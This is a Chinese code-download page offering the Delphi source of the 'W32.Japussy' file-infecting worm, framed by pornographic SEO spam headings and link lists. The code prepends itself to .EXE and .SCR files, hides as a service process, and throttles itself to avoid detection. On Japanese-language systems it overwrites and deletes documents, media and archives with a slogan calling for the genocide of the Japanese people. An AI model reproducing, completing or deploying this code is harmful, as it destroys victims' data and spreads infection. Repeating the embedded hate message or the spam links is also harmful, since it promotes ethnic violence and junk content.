亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? pandalhasa.txt

?? 病毒原代碼可能有危險不要隨便測試的.如果有危險本人不符任何責任.
?? TXT
字號:
代碼:--------------------------------------------------------------------------------
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量

//在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量

{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744字節
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記

//我非常愛你碼,以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來,以備使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744字節),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;

{ 將目標文件寫入我非常愛你碼后刪除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入我非常愛你碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入我非常愛你碼,將文件徹底破壞掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盤和網絡盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件 
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,將Base64編碼后的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else 
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件后睡眠200毫秒,避免CPU占用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁盤上所有的文件 }
procedure InfectFiles;

var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁盤列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁盤驅動器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鐘
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄臺愿意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生于宿主程序上了,開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end.

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
在线播放视频一区| 丁香激情综合国产| 欧美日韩高清一区二区三区| 亚洲激情五月婷婷| 欧美视频中文一区二区三区在线观看| 亚洲黄色免费网站| 欧美精品在线观看一区二区| 日日骚欧美日韩| 精品国产乱码久久久久久浪潮| 精品午夜久久福利影院| 国产亚洲欧洲997久久综合| 国产成人av在线影院| 国产精品毛片久久久久久久| 91免费视频观看| 视频一区二区不卡| 久久免费电影网| 99精品视频一区二区| 亚洲国产三级在线| 精品久久久久久久久久久院品网 | 亚洲一区在线观看免费| 欧美日韩精品三区| 国内精品不卡在线| 亚洲美女偷拍久久| 7777精品伊人久久久大香线蕉完整版 | www.日本不卡| 无码av免费一区二区三区试看| 精品少妇一区二区三区免费观看 | 日韩欧美国产wwwww| 国产成人欧美日韩在线电影| 亚洲精品成a人| 精品国产百合女同互慰| 一本在线高清不卡dvd| 免费观看一级特黄欧美大片| 国产精品理伦片| 91精品一区二区三区久久久久久| 国产不卡一区视频| 日韩电影在线一区二区| 国产精品麻豆一区二区 | 色婷婷精品久久二区二区蜜臂av| 日本不卡视频在线观看| 国产精品久久久久久福利一牛影视| 欧美性猛交xxxx乱大交退制版| 狠狠色综合日日| 午夜日韩在线观看| 亚洲天堂精品在线观看| 欧美xxxxx牲另类人与| 欧美亚洲国产bt| 丁香婷婷深情五月亚洲| 美女视频一区在线观看| 一区二区三区中文字幕在线观看| 国产亚洲综合色| 91 com成人网| 欧美三级视频在线播放| 成人国产视频在线观看| 国产精品一二三四| 日本美女一区二区| 亚洲国产精品一区二区久久 | 亚洲日本在线a| 久久伊人蜜桃av一区二区| 欧美美女喷水视频| 在线看国产一区二区| 成人av午夜影院| 国产成人精品免费一区二区| 久久成人18免费观看| 日本欧美一区二区三区乱码| 午夜精品久久久久久久蜜桃app| 亚洲人成网站色在线观看| 欧美韩国一区二区| 久久综合九色综合欧美就去吻| 91精品国产综合久久婷婷香蕉 | 久久精品亚洲麻豆av一区二区| 91精品婷婷国产综合久久竹菊| 欧美亚洲国产怡红院影院| 一本到高清视频免费精品| 99视频一区二区| 91性感美女视频| 色先锋资源久久综合| 91国偷自产一区二区使用方法| 99久久综合狠狠综合久久| av日韩在线网站| 91丝袜美女网| 色婷婷久久久综合中文字幕| 日本精品一区二区三区四区的功能| 91麻豆免费观看| 在线观看免费视频综合| 欧美亚男人的天堂| 欧美日韩不卡一区| 欧美一区二区精品| 日韩一级欧美一级| 久久夜色精品国产噜噜av| 久久久亚洲午夜电影| 国产精品午夜在线| 亚洲裸体xxx| 日韩电影在线观看电影| 开心九九激情九九欧美日韩精美视频电影 | 成人一区二区三区视频在线观看| 高清不卡在线观看av| 99久久精品国产麻豆演员表| 91麻豆免费看片| 9191成人精品久久| 国产亚洲午夜高清国产拍精品 | 亚洲一区二区三区激情| 日韩高清一级片| 国产精品99久久久| 91国产成人在线| 91精品国产色综合久久| 国产欧美精品国产国产专区| 亚洲激情自拍偷拍| 久久99国产精品尤物| jvid福利写真一区二区三区| 在线视频欧美区| 久久综合色之久久综合| 亚洲男人的天堂av| 久久9热精品视频| a亚洲天堂av| 日韩欧美一区二区视频| 国产精品免费人成网站| 天天av天天翘天天综合网 | 天天射综合影视| 国产91富婆露脸刺激对白| 欧美亚洲日本一区| 国产日韩欧美一区二区三区乱码 | 蜜臀av一区二区在线免费观看| 国产河南妇女毛片精品久久久 | 欧美日韩一卡二卡| 国产女人水真多18毛片18精品视频 | 99久久综合国产精品| 日韩一级欧美一级| 一区二区高清免费观看影视大全| 久久国产夜色精品鲁鲁99| 91美女福利视频| 国产亚洲福利社区一区| 亚洲6080在线| 99免费精品视频| 久久嫩草精品久久久精品一| 午夜精品久久久久久久蜜桃app | 国产一区二区在线免费观看| 色一区在线观看| 国产精品色一区二区三区| 日韩和欧美一区二区三区| 91麻豆免费视频| 国产欧美在线观看一区| 欧美bbbbb| 欧美日韩高清一区二区三区| 中文字幕一区二区三区不卡| 九九精品一区二区| 欧美浪妇xxxx高跟鞋交| 亚洲欧美激情一区二区| 成人福利在线看| 久久九九久久九九| 久久成人久久爱| 欧美肥胖老妇做爰| 亚洲一区二区三区四区中文字幕| 成人免费视频视频| 国产色爱av资源综合区| 久久99国产精品久久99| 欧美一区二区三区性视频| 亚洲第一激情av| 欧美亚洲高清一区| 一区2区3区在线看| 日本久久精品电影| 亚洲综合免费观看高清在线观看| 91在线视频观看| 日韩理论在线观看| 99精品一区二区| 亚洲女厕所小便bbb| 99精品久久免费看蜜臀剧情介绍| 国产午夜亚洲精品理论片色戒 | 久久精品国产亚洲aⅴ| 欧美精品自拍偷拍| 免费在线观看一区二区三区| 7777精品伊人久久久大香线蕉完整版| 亚洲一区二区三区国产| 欧美日韩亚洲国产综合| 五月激情综合色| 日韩欧美在线观看一区二区三区| 欧美a级理论片| 精品va天堂亚洲国产| 国产一区二区三区香蕉| 国产欧美精品一区| 99这里只有精品| 一区二区欧美视频| 欧美日韩高清一区二区三区| 秋霞午夜鲁丝一区二区老狼| 日韩欧美黄色影院| 国产激情精品久久久第一区二区 | 成人av资源下载| 又紧又大又爽精品一区二区| 欧美午夜精品免费| 免费一区二区视频| 国产日产欧产精品推荐色| 99精品一区二区| 首页国产欧美久久| 精品盗摄一区二区三区| 北条麻妃一区二区三区| 亚洲福利视频导航| 2024国产精品| 色嗨嗨av一区二区三区| 六月丁香婷婷色狠狠久久| 中文无字幕一区二区三区|